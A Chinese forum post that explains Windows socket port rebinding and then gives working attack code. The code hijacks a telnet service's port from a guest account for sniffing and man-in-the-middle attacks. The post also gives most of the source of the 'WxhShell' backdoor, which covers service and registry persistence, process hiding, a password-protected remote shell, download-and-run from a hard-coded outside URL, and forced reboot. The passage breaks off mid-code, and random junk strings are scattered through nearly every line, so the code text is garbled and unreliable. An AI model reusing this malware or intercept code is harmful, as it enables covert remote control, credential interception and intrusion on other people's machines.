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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是:  nL[G@1nR  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); x1}Ono3"T  
y8} /e@&  
  saddr.sin_family = AF_INET; ^S!;snhn  
4EaxU !BT  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY);  #J  
|n~,{=  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); j@{dsS: 6  
S,vdd7Y  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 (D{J|  
{P )O#  
  这意味着什么?意味着可以进行如下的攻击: d;{k,rP6  
eL{$=Um  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 > iYdr/^a  
E5Sn mxd  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) flOXV   
#er% q:  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 h67{qY[J[  
^sqzlF  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  v7%}ey[  
,T;D33XV  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 zV(aw~CbZ  
-"?~By}<C  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 </aQ  
sd =bw  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 08! _B\  
kO$n0y5e  
  #include vG\ b `  
  #include '%o^#gJp  
  #include ekqS=KfWl;  
  #include    r|i)  
  DWORD WINAPI ClientThread(LPVOID lpParam);   X-J85b_e  
  int main() (!YJ:,!so  
  { ef/43+F^x  
  WORD wVersionRequested; @.`k2lxGd~  
  DWORD ret; }>V=J aG  
  WSADATA wsaData; O,S>6o)?  
  BOOL val; yB 'C9wEH  
  SOCKADDR_IN saddr; qk(bA/+e  
  SOCKADDR_IN scaddr; S\!vDtD@  
  int err; ,s2C)bb-  
  SOCKET s; q- 0q:  
  SOCKET sc; YHMJ5IM@.  
  int caddsize; Q{an[9To~P  
  HANDLE mt; #)]/wqPoW  
  DWORD tid;   ,+I]\ZeO  
  wVersionRequested = MAKEWORD( 2, 2 ); AlkHf]oB  
  err = WSAStartup( wVersionRequested, &wsaData ); o$V0(1N  
  if ( err != 0 ) { {3kz\FS  
  printf("error!WSAStartup failed!\n"); 0WYu5|  
  return -1; G?61P[j7  
  }  yK$aVK"  
  saddr.sin_family = AF_INET; r adP%W-U  
   "S*@._   
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 lNl.lI\t)y  
]cVDXLj$  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); E> $_ $'  
  saddr.sin_port = htons(23); g1.u1}  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) #f/4%|t:  
  { LsaX HI/?b  
  printf("error!socket failed!\n"); b;#_?2c  
  return -1; 5SmJ'zFO  
  } *<6dB#' J  
  val = TRUE; P#`M8k  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 LZ.Xcy  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) p . P#S  
  { *::.Uo4O  
  printf("error!setsockopt failed!\n"); /e*fsQ>M:  
  return -1; 5`gVziS!S  
  } #g0N/  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; 11kyrv  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 _\Z'Yl  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 *+2_!=4V  
|v5 ge3-  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) r>TOJVT&]  
  { :@ VCKq!  
  ret=GetLastError(); 0a#v}w^ *  
  printf("error!bind failed!\n"); 2N]8@a  
  return -1; z@pa;_  
  } DHx&%]r;D  
  listen(s,2); MPy>< J  
  while(1) H$ g*  
  { +R HiX!PG  
  caddsize = sizeof(scaddr); vw(ecs^C  
  //接受连接请求 aNNRw(0/  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); (_CvN=A  
  if(sc!=INVALID_SOCKET) -1d*zySL  
  { 47 Bg[  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); e84%Y8,0  
  if(mt==NULL) EzjK{v">  
  { Ip=QtNW3\  
  printf("Thread Creat Failed!\n"); _z{9V7n4  
  break; q(^iT~}  
  } _KxR~k^  
  } I"x|U[*B  
  CloseHandle(mt); /j4G}  
  } Mx`';z8~  
  closesocket(s); aX6}:"R2C  
  WSACleanup(); ;' vkF  
  return 0; 2nCc(F&+?  
  }   VKX|0~  
  DWORD WINAPI ClientThread(LPVOID lpParam) x=Oy 6"  
  { D1v0`od'  
  SOCKET ss = (SOCKET)lpParam; -PGxG 8S  
  SOCKET sc; L?N-uocT  
  unsigned char buf[4096]; GiEt;8  
  SOCKADDR_IN saddr; ,+6u6  
  long num; JS%LJ _J  
  DWORD val; svl!"tMXl  
  DWORD ret; 5;p|iT  
  //如果是隐藏端口应用的话,可以在此处加一些判断 r<!nU&FPD:  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   .r6x9t  
  saddr.sin_family = AF_INET; #{J~ km/  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); oQu>Qr{Zp  
  saddr.sin_port = htons(23); \y(3b#  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) $ B&Zn Z?  
  { ~&qvS  
  printf("error!socket failed!\n"); KA?%1s(kJ  
  return -1; DwGM+)!  
  } R2-F@_  
  val = 100; FjtS  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) w)@Wug  
  { 0+@:f^3]!  
  ret = GetLastError(); a~_JTH4=t  
  return -1; *PL&CDu=)  
  } 2sk7E'2(  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) )lS04|s  
  { GP hhg  
  ret = GetLastError(); l7^^Mnk C  
  return -1; B; e<.M)e  
  } Q8m%mJz~]  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) j8[U}~*^  
  { 2-8Dc4H]r  
  printf("error!socket connect failed!\n"); 0NZ'(qf~9  
  closesocket(sc); >uq0}HB$a  
  closesocket(ss); \OFmd!Cz  
  return -1; zm5Pl G  
  } ,-E'059  
  while(1) Komdz/g  
  { }s<;YC  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 ?z l<"u  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 -wV2 79^b  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 ov,s]g83  
  num = recv(ss,buf,4096,0); h`N2M,  
  if(num>0) xi "3NF%=  
  send(sc,buf,num,0); rnhLv$  
  else if(num==0) 0LL0\ly]  
  break; dEKu5GI  
  num = recv(sc,buf,4096,0); ?yq=c  
  if(num>0) Um4zI>  
  send(ss,buf,num,0); uZrp ^  
  else if(num==0) .qZz 'Eq[  
  break; {fHor  
  } !s1<)%Jt  
  closesocket(ss); Qr~!YPK\  
  closesocket(sc); r/ g{j  
  return 0 ; jF}kV%E  
  } g%S/)R,,ct  
7:uz{xPK6  
a4~B  
========================================================== 1Xm>nF~  
0'pB7^y  
下边附上一个代码,,WXhSHELL ]7W!f 2@  
{O y|c  
========================================================== "%^_.Db>|  
[[AO6.Z  
#include "stdafx.h" B47I?~{  
#vyf*jPr  
#include <stdio.h> cw 2!V@  
#include <string.h> 54>0Dv??H  
#include <windows.h> O]=jI  
#include <winsock2.h> 1aRTvaGo  
#include <winsvc.h> W& 0R/y7  
#include <urlmon.h> +O 7( >a  
;#v3C;  
#pragma comment (lib, "Ws2_32.lib") >\? z,Nin  
#pragma comment (lib, "urlmon.lib") ZJ)Z  
p$1 'e,G  
#define MAX_USER   100 // 最大客户端连接数 /}U)|6- B  
#define BUF_SOCK   200 // sock buffer Y3:HQ0w`|  
#define KEY_BUFF   255 // 输入 buffer 6&SNFOX{@  
Evm3Sm!S  
#define REBOOT     0   // 重启 )?#K0o[<  
#define SHUTDOWN   1   // 关机 ^\O*e)#*  
Bv@p9 ] n  
#define DEF_PORT   5000 // 监听端口 }'x)e  
q5e(~@(z<`  
#define REG_LEN     16   // 注册表键长度 HLV8_~gQPf  
#define SVC_LEN     80   // NT服务名长度 wQy~5+LE  
f]%S FQ+  
// 从dll定义API y<- ]'Yts  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); IW<rmP=R&  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); #?S"y:  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); ,S`n?.&& 7  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); )yig=nn  
=T2SJ)  
// wxhshell配置信息 8ly)G  
struct WSCFG { iU 6,B  
  int ws_port;         // 监听端口 X+A@//,7  
  char ws_passstr[REG_LEN]; // 口令 (jU_lsG  
  int ws_autoins;       // 安装标记, 1=yes 0=no (VM CVZ  
  char ws_regname[REG_LEN]; // 注册表键名 '1b8>L  
  char ws_svcname[REG_LEN]; // 服务名 Bcv{Y\x;ko  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 Aj cKz  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 nn:'<6"oV  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 dX1jn;7  
int ws_downexe;       // 下载执行标记, 1=yes 0=no SceHdx(]  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" $)ka1L"N  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 d38o*+JCf  
MhHh`WUGh  
}; Fw-Rv'\  
w"[T  
// default Wxhshell configuration Ar >JQ@0  
struct WSCFG wscfg={DEF_PORT, w>X@ ,  
    "xuhuanlingzhe", t6+W  
    1, y ]@JkF(  
    "Wxhshell", I(R%j]LX&  
    "Wxhshell", sNpA!!\PM  
            "WxhShell Service", 6}R*7iM s  
    "Wrsky Windows CmdShell Service", Qm3F=*)d  
    "Please Input Your Password: ", d]sqj\Q57  
  1, -n|>U:  
  "http://www.wrsky.com/wxhshell.exe", c$ib-  
  "Wxhshell.exe" o[Qb/ 7  
    }; GP4!t~"1  
\f4rA?+f  
// 消息定义模块 S"G(_%  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; uQ_C<ii"W  
char *msg_ws_prompt="\n\r? for help\n\r#>"; s&V sK#  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; UJqh~s  
char *msg_ws_ext="\n\rExit."; IowXVdm@6  
char *msg_ws_end="\n\rQuit."; +=9iq3<yfS  
char *msg_ws_boot="\n\rReboot..."; <\$"U5"`  
char *msg_ws_poff="\n\rShutdown..."; 1K/ :  
char *msg_ws_down="\n\rSave to "; 1HNP@9ga  
F!hjtIkPj  
char *msg_ws_err="\n\rErr!"; #3_g8ni5X  
char *msg_ws_ok="\n\rOK!"; *Lz'<=DLoW  
8 f~x\.  
char ExeFile[MAX_PATH]; s/hWhaS<  
int nUser = 0; -V4{tIQY  
HANDLE handles[MAX_USER]; qVfn(rZ  
int OsIsNt; dO z|CfUhI  
@R`6j S_gK  
SERVICE_STATUS       serviceStatus; h&L-G j  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; ? Pi|`W   
/# Jvt  
// 函数声明 7NT} Zwf  
int Install(void); ZJWpb  
int Uninstall(void); 5L2j, ]  
int DownloadFile(char *sURL, SOCKET wsh); ^cPVnl  
int Boot(int flag); TE o  
void HideProc(void); h9m|f|cH  
int GetOsVer(void); 3t+{~{Dj  
int Wxhshell(SOCKET wsl); x^)?V7[t  
void TalkWithClient(void *cs); {:"<E?+  
int CmdShell(SOCKET sock); 3,v/zcV  
int StartFromService(void); m4OnRZYlw  
int StartWxhshell(LPSTR lpCmdLine); -E6av|c,F  
)!rD&l$tE  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); ?/MkH0[G=  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); d m"R0>  
NvIg,@}  
// 数据结构和表定义 ,8Q0AkG  
SERVICE_TABLE_ENTRY DispatchTable[] = QChWy`x  
{ +~G:z|k  
{wscfg.ws_svcname, NTServiceMain}, W^^0Rh_  
{NULL, NULL} %K3U`6kHcd  
}; b*S,8vE]  
3 $%#n*  
// 自我安装 m[y~-n  
int Install(void) ec#`9w$  
{  gh[q*%#  
  char svExeFile[MAX_PATH]; 3O*iv{-&  
  HKEY key; *>qc6d@'  
  strcpy(svExeFile,ExeFile); Z ;~%!  
viU}  
// 如果是win9x系统,修改注册表设为自启动 B=>Xr!pM!  
if(!OsIsNt) { lt4IoE`tk?  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { _z%\53h  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); V+1c<LwT  
  RegCloseKey(key); 8g{Mv#b%  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { Ygg+=@].@  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ;8vB7|54.  
  RegCloseKey(key); D +0il=5  
  return 0; r,IekFBs  
    } c%,ky$'18  
  } )Rb t0   
} S9l po_!z  
else { {}'Jr1  
YY tVp_)  
// 如果是NT以上系统,安装为系统服务 Y'P^]Q=}_#  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); k~<Ozx^AyY  
if (schSCManager!=0) e^\(bp+83  
{ ]6v7iuvI  
  SC_HANDLE schService = CreateService x v$fw>  
  ( @(=?x:j  
  schSCManager, qOpwl*?x+  
  wscfg.ws_svcname, tOnOzD  
  wscfg.ws_svcdisp, /KnIU|;  
  SERVICE_ALL_ACCESS, o-_,l J7o^  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , *$VeR(QN  
  SERVICE_AUTO_START, _+)OL-  
  SERVICE_ERROR_NORMAL, [?<v|k  
  svExeFile, n3V$Xtxw  
  NULL, M-Vz$D/aed  
  NULL, R$}Hv  
  NULL, D8w.r"ne  
  NULL, ?\4kV*/Cqz  
  NULL ]S?G]/k}  
  ); .XK3o .ZhW  
  if (schService!=0) D.7cWR`Wp  
  { ?6vGE~ MuR  
  CloseServiceHandle(schService); ?T%"Jgy8  
  CloseServiceHandle(schSCManager); &=%M("IlD  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); ;A"i.:ZT  
  strcat(svExeFile,wscfg.ws_svcname); q2B'R   
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { w H=7pS"s  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); Bf^K?:r"V  
  RegCloseKey(key); ''9K(p6  
  return 0; A9Ea}v9:  
    } .u7grC C  
  } \[]BB5)8  
  CloseServiceHandle(schSCManager); jsV1~1:83  
} K-*ZS8  
} (mi=I3A(  
lv.h?"Ml  
return 1; 1 5|gG<-  
} Ls|)SiXrY  
kW%wt1",  
// 自我卸载 H<^3H  
int Uninstall(void) Zg= {  
{ Yqu/_6wLx  
  HKEY key; (NnE\2  
hP[/xe  
if(!OsIsNt) { x5rm 2C  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { fK@UlMC]7  
  RegDeleteValue(key,wscfg.ws_regname); 2WKIO|'  
  RegCloseKey(key); tQxAZ0B^  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { FDBNKQV  
  RegDeleteValue(key,wscfg.ws_regname); .gRb'  
  RegCloseKey(key); 9XS>;<"2  
  return 0; @Py'SH!-  
  } I )% bOK]  
} [ot+EA  
} -ImO y|  
else {  W>x.*K  
Zn|lL0b{q  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); Wa?\W&  
if (schSCManager!=0) )!zg=}V  
{ )WEOqaR]  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); T 9}dgf  
  if (schService!=0) vXdI)Sx[  
  { A$P Oc<  
  if(DeleteService(schService)!=0) { a(-t"OL\  
  CloseServiceHandle(schService); 6]!Jo)BF  
  CloseServiceHandle(schSCManager); N^[MeG,8  
  return 0; 5P);t9O6  
  } Ho%%voJBS  
  CloseServiceHandle(schService); @O6 2} F  
  } _!vuDv%  
  CloseServiceHandle(schSCManager); 9j;!4AJ1t  
} 0'5N[Bvp  
} ?v+el,  
GIkVU6Q}  
return 1; '|%\QWuZ  
} u8x#XESR7  
yi-)4#YN  
// 从指定url下载文件 [w  FK!?  
int DownloadFile(char *sURL, SOCKET wsh) _lH:%E*  
{ @%MGLR{pH  
  HRESULT hr; ~WmA55  
char seps[]= "/"; ^|h.B$_F,  
char *token; n;.);  
char *file; 4Dd]:2|D  
char myURL[MAX_PATH]; /GNm>NSK  
char myFILE[MAX_PATH]; O+DYh=m*p  
T!&VT;   
strcpy(myURL,sURL); k_OzkEM9!  
  token=strtok(myURL,seps); K9RRY,JB  
  while(token!=NULL) )DQcf]I  
  { (f"LD8MJ/  
    file=token; L1SZutWD?  
  token=strtok(NULL,seps); )5diX + k  
  } ( ~>-6Nb 5  
/dR:\ffz2  
GetCurrentDirectory(MAX_PATH,myFILE); a8y*Jz-E  
strcat(myFILE, "\\"); i Hcy,PBD  
strcat(myFILE, file); 5cr\ JR  
  send(wsh,myFILE,strlen(myFILE),0); 1R.6Xer  
send(wsh,"...",3,0); @zsqjm  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); _^0UK|[  
  if(hr==S_OK) ,G$<J0R1  
return 0; %x^U3"7  
else *M~BN}.  
return 1; x)kp*^/  
O 0P4uq  
} u>03l(X6f  
#/>OW2Ny  
// 系统电源模块 @PKY>58)  
int Boot(int flag) $)j f  
{ b5%T)hn=  
  HANDLE hToken; Z~g7^,-t  
  TOKEN_PRIVILEGES tkp; a7fn{VU8  
_$gP-J  
  if(OsIsNt) { X_wPuU%  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); 6oR5q 4  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); p<(b^{EX  
    tkp.PrivilegeCount = 1; j@jUuYuDgl  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; 0 SDyE  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); @ql S #(  
if(flag==REBOOT) { 8SO(pw9  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) FlLk.+!t  
  return 0; t\,X G  
} $_W kI^  
else { =?1B|hdo  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) ";w"dfC^  
  return 0; (5=B^9{R  
} {= T9_c  
  } 843O}v'  
  else { P?`a{sl.  
if(flag==REBOOT) { 'iEu1! t\0  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) 7MwS[N%#  
  return 0; qZh}gu*>  
} PCiwQ4~  
else { 4Mv]z^  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) 1>_2 =^[  
  return 0; J4m2|HK  
} .QM>^(o$Z  
} #J*hZ(Pq  
&^K,"a{  
return 1; $x q$  
} =a_ >")  
o+FDkqEN  
// win9x进程隐藏模块 F+m;y  
void HideProc(void) h5 PZ?Zd  
{ 63pd W/\j  
7NQEnAl  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); kuo!}QFL  
  if ( hKernel != NULL ) HV8=b"D"  
  { ')KuLVE}S  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess");  t'e5!Ma  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); }9 I,p$  
    FreeLibrary(hKernel); EVDcj,b"^  
  } %"BJW  
9%^O-8!  
return; ~ qezr\$2  
} P?j;&@$^e  
iO{LsG*5Z  
// 获取操作系统版本 c4(og|ifk  
int GetOsVer(void) D` 2w>{Y  
{ $'93:9tg  
  OSVERSIONINFO winfo; F0/!+ho  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); t`E e/L%  
  GetVersionEx(&winfo); `clp#l.ii  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) .._UI2MA  
  return 1; i&\ c DQ 3  
  else k83S.*9Mx  
  return 0; #,Cz+ k*4  
} t-)d*|2n}o  
jAy 0k  
// 客户端句柄模块 <j:@ iP  
int Wxhshell(SOCKET wsl) `zsooA Gt  
{ sI6coe5n  
  SOCKET wsh; d VyT`  
  struct sockaddr_in client; t_jnp $1m  
  DWORD myID; 3_ko=& B$  
*g[MGyF "  
  while(nUser<MAX_USER) LyRW\\z2  
{ O9_SVXWVw  
  int nSize=sizeof(client); ~9n30j%]s  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); Ih)4.lLcKn  
  if(wsh==INVALID_SOCKET) return 1; heQyz|o  
h`f$]_c  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); qIvnPaYW  
if(handles[nUser]==0) I %|;M%B  
  closesocket(wsh); ew<_2Xy"<  
else C!)ZRuRv  
  nUser++; 2=uwGIF  
  } `\J,%J  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); G%viWWTY  
$N\k*=  
  return 0; "v/Yw'! )  
} (#8B  
wU|jw(  
// 关闭 socket ~bsdy2&/q  
void CloseIt(SOCKET wsh) DhXV=Qw  
{ RoNE7|gF:  
closesocket(wsh); +QP(ATdM  
nUser--; Ko0?c.l  
ExitThread(0); _ Y7 Um  
} <Yg6=e  
O_L>We@3E  
// 客户端请求句柄 wsB  
void TalkWithClient(void *cs) Up0kTL  
{ Po*!eD  
U9jdb9 |  
  SOCKET wsh=(SOCKET)cs; -kHJH><j  
  char pwd[SVC_LEN]; 88l1g,`**  
  char cmd[KEY_BUFF]; aJ}hlM>  
char chr[1]; 0#4A0[vV  
int i,j; &OA6Zw/A  
nw(R=C  
  while (nUser < MAX_USER) { Mfnfp{.)  
sDAP'&  
if(wscfg.ws_passstr) { uh`5:V  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 0s79rJ  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); (,KzyR=*'  
  //ZeroMemory(pwd,KEY_BUFF); X,bhX/h  
      i=0; +s^nT{B@\  
  while(i<SVC_LEN) { T}/|nOu 5  
HJBGxy w  
  // 设置超时 Kj)sL0  
  fd_set FdRead; %a FZbLK  
  struct timeval TimeOut; TO.STK`  
  FD_ZERO(&FdRead); T?RN} @D  
  FD_SET(wsh,&FdRead); [XttT  
  TimeOut.tv_sec=8; Y% JE})  
  TimeOut.tv_usec=0; $41<ldJ  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); JY@bD:  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); kR3wbA  
`Ns Q&G  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); WP?]"H  
  pwd=chr[0]; y4l-o  
  if(chr[0]==0xd || chr[0]==0xa) { h(R7y@mp\0  
  pwd=0; ?|WoNA~j}`  
  break; QO0@Ax\b  
  } [oXSjLQm[  
  i++; 7r^Cs#b+I  
    } K^o{lyK;@~  
E)`0(Z:E  
  // 如果是非法用户,关闭 socket #Hz9@H  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); Z6rZAwy  
} yf!7 Q>_G^  
4f~sRubK  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); }EYmz/nN  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); vq.o;q /  
V8nQ/9R;  
while(1) { !L|l(<C  
l1|*(%p?X  
  ZeroMemory(cmd,KEY_BUFF); Lq ;~6  
w\ 0vP  
      // 自动支持客户端 telnet标准   *aC[Tv[-P  
  j=0; }st~$JsV1  
  while(j<KEY_BUFF) { y z!L:1DG  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); GF9[|). T  
  cmd[j]=chr[0]; QH4m7M@ni  
  if(chr[0]==0xa || chr[0]==0xd) { D\+x/r?-I  
  cmd[j]=0; l)o!&]2  
  break; _>]/.w2=  
  } Z.!<YfA)  
  j++; 04&S.#+(  
    } qo 7<g*kf~  
Mpyza%zj  
  // 下载文件 !/tV}.*  
  if(strstr(cmd,"http://")) { g!' x5#]n  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); R.2i%cU  
  if(DownloadFile(cmd,wsh)) n0gjcDHQ  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); -?:8s v*X  
  else 1Az&BZU[  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); SP<Sv8Okj  
  } >yLDU_P)  
  else { 7P}l^WX  
qdwo2u  
    switch(cmd[0]) { t( V 2  
  <*z'sUh+}  
  // 帮助 sC[#R.eq  
  case '?': { ;<[!;8  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); ": BZZ\!  
    break; !KJ X$?  
  } Q?LzL(OioN  
  // 安装 {+cx}`  
  case 'i': { ~,};FI  
    if(Install()) f. >[ J  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); L gX2KU"  
    else lul  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); EZ/_uj2&SN  
    break; 42hG }Gt  
    } eYoc(bG(+  
  // 卸载 ]j,o!|rx7  
  case 'r': { +}( ]7du  
    if(Uninstall()) }id)~h_@  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); tC$+;_=+F  
    else CE  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); N4-Y0BO  
    break; *L>usLh  
    } z;@<J8I  
  // 显示 wxhshell 所在路径 s0vcGh#w  
  case 'p': { G.iQ\'1_h  
    char svExeFile[MAX_PATH]; MFO%F) 5  
    strcpy(svExeFile,"\n\r"); 5>CeFy  
      strcat(svExeFile,ExeFile); ,K6ODtw.  
        send(wsh,svExeFile,strlen(svExeFile),0); k5bv57@  
    break; hUp3$4w  
    } rVsCJuxI  
  // 重启 i@WO>+iB  
  case 'b': { pp*MHM)x|q  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); ? N]bFW"t|  
    if(Boot(REBOOT)) u 1}dHMoX~  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ZJGIib  
    else { rO#$SW$YW  
    closesocket(wsh); JUDZ_cGr  
    ExitThread(0); `LIlR8&@aX  
    } x~8R.Sg  
    break; I|Hcs.uW  
    } >b3IZ^SB#$  
  // 关机 >dF #1  
  case 'd': { {i3x\|  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); 0{o 8-#  
